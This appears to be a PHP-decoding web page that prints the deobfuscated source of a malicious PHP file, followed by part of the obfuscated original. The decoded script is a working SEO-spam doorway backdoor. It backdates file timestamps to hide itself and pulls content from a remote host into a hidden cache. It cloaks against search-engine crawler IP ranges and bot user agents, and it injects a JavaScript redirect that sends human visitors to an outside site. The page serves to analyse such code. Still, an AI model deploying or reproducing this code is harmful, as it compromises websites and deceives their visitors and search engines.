Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $nmwalo_au = 's'.'t'.'r'.'r'.'e'.'v';$gbkgbry = array('tVx7c9rKkv97XXW+g0KoCE4','waP..
Decoded Output download
$djg_ee = 'uixzdxmuidrw_bygmvyvfv';;
error_reporting(0);
define("BASE_URL","http://e.ad-net.top/09_books/");
define("GROUP_NAME","09-28-8-2018-1");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$ref = getenv('HTTP_REFERER');
$requrl = getenv('REQUEST_URI');
$keyword = $q;
$downkey = urlencode(trim(preg_replace('/(buy|view|read|online|pdf|epub|book|ebook|shop|download|free)/i', '', $q),'-'));
$stat = 'http://books.odintara.com:1080/read.html'.'?keyword='.$downkey.'&se='.GROUP_NAME.'&ur=1&default_keyword='.$downkey.'&HTTP_REFERER=http://'.htmlentities($domain.$requrl);
$tds_answer = '<script type="text/javascript">var url="'.$stat.'";self.location.href=url;top.location.href!=self.location.href&&(top.location.href=self.location.href);window!=top?top.location.href=url:document.location=url;</script>';
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$order = array("\s", " ", "+");
$q = str_replace($order,'-',$q);
$q = mysql_escape_mimic($q);
return $q;
}
function mysql_escape_mimic($inp) {
if(is_array($inp))
return array_map(__METHOD__, $inp);
if(!empty($inp) && is_string($inp)) {
return str_replace(array('\', "", "
", "
", "'", '"', ""), array('\', '', '
', '
', "\'", '\"', '\Z'), $inp);
}
return $inp;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191",
"114\.36\.1\.[0-9]+",
"104\.131\.98\.[0-9]+","200\.232\.28\.[0-9]+","200\.178\.129\.[0-9]+",
"76\.92\.177\.[0-9]+",
"107\.167\.109\.[0-9]+","172\.56\.44\.[0-9]+","5\.221\.204\.[0-9]+",
"82\.236\.192\.[0-9]+","217\.36\.226\.[0-9]+",
"110\.54\.2[0-9]+\.[0-9]+","110\.54\.12[0-9]+\.[0-9]+",
"180\.191\.146\.[0-9]+",
"112\.200\.233\.[0-9]+",
"76\.178\.148\.[0-9]+",
"122\.2\.241\.[0-9]+","180\.190\.106\.[0-9]+","122\.2\.241\.[0-9]+","141\.43\.128\.76","180\.191\.71\.[0-9]+",
"112\.202\.167\.[0-9]+","180\.190\.103\.[0-9]+","112\.207\.30\.[0-9]+","183\.82\.39\.[0-9]+","112\.207\.21\.[0-9]+","110\.54\.238\.[0-9]+",
"112\.202\.169\.[0-9]+",
"49\.150\.7\.[0-9]+",
"222\.152\.62\.[0-9]+","110\.54\.248\.[0-9]+",
"94\.186\.102\.178","129\.120\.246\.[0-9]+","129\.120\.231\.[0-9]+",
"69\.30\.218\.[0-9]+","96\.62\.169\.[0-9]+","185\.122\.56\.[0-9]+","176\.126\.245\.[0-9]+",
"89\.163\.225\.[0-9]+",
"76\.8\.67\.[0-9]+",
"72\.208\.61\.[0-9]+",
"220\.158\.162\.[0-9]+",
"17\.58\.20\.[0-9]+","194\.11\.254\.[0-9]+","139\.130\.162\.[0-9]+",
"203\.220\.172\.[0-9]+",
"75\.150\.208\.[0-9]+",
"217\.172\.143\.[0-9]+",
"213\.152\.242\.[0-9]+",
"107\.185\.57\.[0-9]+",
"104\.6\.64\.[0-9]+",
"192\.92\.196\.[0-9]+",
"204\.79\.180\.[0-9]+",
"35\.165\.39\.[0-9]+",
"52\.25\.149\.[0-9]+",
"135\.84\.80\.[0-9]+",
"69\.156\.93\.[0-9]+",
"185\.30\.145\.[0-9]+",
"107\.133\.4\.[0-9]+",
"177\.84\.109\.[0-9]+",
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
if (strlen(getenv('HTTP_USER_AGENT'))<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
if (getenv('HTTP_ACCEPT_LANGUAGE') == '' || getenv('HTTP_ACCEPT_ENCODING') == '' || getenv('HTTP_ACCEPT') == '') return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$protocol = (stripos($url,'https://') !== false) ? 'https://' : 'http://';
$url = str_replace($protocol,"",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: $protocol$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
?>Did this file decode correctly?
Original Code
<?php $nmwalo_au = 's'.'t'.'r'.'r'.'e'.'v';$gbkgbry = array('tVx7c9rKkv97XXW+g0KoCE4','waPRCGDuJb0IetU6cdey6W2','u7KBmErRtARBKxfY7z3be7Z','/QCvezcm6qA0fy6p6enXzOS','pjn91/XYcaQDSV67d39N7xZ','rd+rfjq/urxc/73/OfsrDob','Tj+L7nj31n5fmhu7xuKe3hz','tSZuUun1fjH4bfR+OzkqNFp','3IThaq/Xc7r2dHfphN3QW/W','UwfjK874HvUaK5sPJ8dnX8Z','fDzyOgUga7qrVr7aoKs3YZw','poTe3KDMoX+2hn+sePOWs9m','6+UkdL3l2LlzgzBoycHEXk5','dX263pb93JPgXISTR0mrCR0','dqBiC0508dHxgqERj/AVs3G','EdI4CP+JQj8h21z6BKovZUT','MwYx06jbG3futKRWcwbfAPU','dexpBkRq4Pzs4kGb2PHDaGz','0IWZ5FwiCLdh6IxMHW4PwS+','qA/h1uoXzvFv1ppbZA6Xks2','XuK9Bm1pT/LTv7PsfSdc+0s','hQ9L0S3JgWBsCC+z7w6Nvox','R0h3/+gkmVcmYVOY9X63A88','ZahswyDnPndwnBhl/bCgeme','2qGdVl5zBqp6M8O5S+PkWzk','1OBKmOWvnj4FmrWK4zav70A','mgq9mt74YOdBXJklXhbDL3A','mwuUC2xydHXHzvNEKwDHbV7','ZU++r1fyUOgQ1SH0RxjQ2OI','7WRL9GiKpuyB/gq9WW9qVTO','VPVf9TMxUG3jZFrtcOqPJnS','353/Pbs8+jL6fjk+PgUVYR9','vME+FkQNHFGBrfH4/aej0Xg','Mnb2SOP+HBykFlLtyN2L69e','PX8bfR0Xu5EB0hv709+fT1l','HhjeEgRtHe4wrnx4Zwmfh55','48zzwcTdA2XYdPcn3nqZ2HH','TffmyvZN1b3C6IPRBccLpgv','Omewmm0V3drOQ2SpjffBMuQ','LCd/HiB+krGBbJ1G71GN2HQ','lvbFgKRoWkrhWTO5gsDyfds','88PNN6K0nN9sT1BHdDdOoQn','3novPnMhdKNlfA5Ca0JxMnC','OSk/dcf3IjdIHBgssYfRqfn','8g/5MtL+HL02ubrPYjP4ga7','w+fDTl3fHxyfgC792yCvpek','Ix5PzxKsDvncANA2/tg4+FC','pMjf3cmN54kj8fH/z0ey1xo','cKiQ8pyQMJLlB84fa2/1D06','GV/zF2AerHJPR/CDfm3oL21','2mXOzj6enX8cfjb+ReTXeVa','joZfT4+HY0P3707oca1vUl3','9m10Mj78AB5KgMC+hggIIOg','w9OberQP9rjHoNH1ntkl8Mn','o/Ohlx1r7zY+3PM33/z9no2','ynk8k8yCf7dub+FVIH6/IFh','wrtdwiX4uUZVTLyp0wL3WLR','WvnONxcHcnoDb9y6uWlfr+4','efrnP7gGnwwVvOIes/rKazB','2e1vnrAeuDBoc/gxls9IOO5','B8CZ7zjti6ueCwYio5H8aHf','kXXA1lCYIbRynLIoMKiq63t','RdhrZvdyfeYo8pltLDHtFB5','2Czr8UIDuRuJH1XfhE48Dup','QODK2j9gL6A2sdfzcJxLk9b','egZCA4gAoInRD14HQy+e5Kx','SLKg6nwdheBrdUesj7wcR3V','6EU3q+cg0bo3IW9f9k/bX61','8eqn7aNiDxrQMY61KzeGgTO','fdefexMa8172BGT0AyBDqqu','zVZwfbyBcvWlu4HFh7eOsuY','aDPDgD9epsC+tubepP1AgYa','N5EU+z0u+itZONmzm/XCBhf','hNtkByyYvdoN/gGV8P4JA6k','zPDlttDHwZzZD3zNBFFlOjl','VgXzL9IQKIifPFC2sp2XbkH','0QnI40KhKeoCEVnHYOCpUiF','LA/6dzuYp0slEbUW1LeBFA6','aG18I4aLrlF99v8acwm46pi','KiXFTsKH4JN+5WhQPGVU8lk','xOvEAgmmJGqUYXLUgPpLglI','bVV1TGZuUGFBTtNd/ucvZ3M','bCJpEo1Q7jS0LA3zC9e3x6f','4Ebp6c7M6JHGY2I+yIWr7yg','lQ55Qv0QL7p34PuZavsGQgJ','g5Le84110wD3JXq3mLjfnHp','EMk1QQyRhnlcf3upPOLPsYK','SSALIODaJV0e3vbvdW6nn/d','Y4PBoHeHmMarfZT21f7CCW0','JkbsQTdyfB41JSviGJH6JMI','KUQ2lyY/uQRA/W4WzXaki9V','/sQmebOq8Q4u/J+L76WzAle','5r1eedP7Vx+cEKpRMAxnArr','vdrv7Pbq+T/28SlJtVlV/7M','QF+kYSjHzL9tHb4dO+xzSBr','tTEWI9/A+v033P+43mv+Zyu','7V7sdv9s9qJJolSbSTvIvAM','5A3Muh0RLPt5f4yJodKTGRY','ifLxtpPmnT5VSYdBJOMXBxH','/yYjx0oO1fOeOEu3EkrBkXl','+w8qGGJN5JG4y1WkEr4C5RL','S9aSoFAypbbywV1DPfR6dfj','x+Nx6DDyEWNB6tHJ3FKhQcM','NgATyxcYaHOmaYqVME2PWYx','IRcXMipIITUt6dPHTx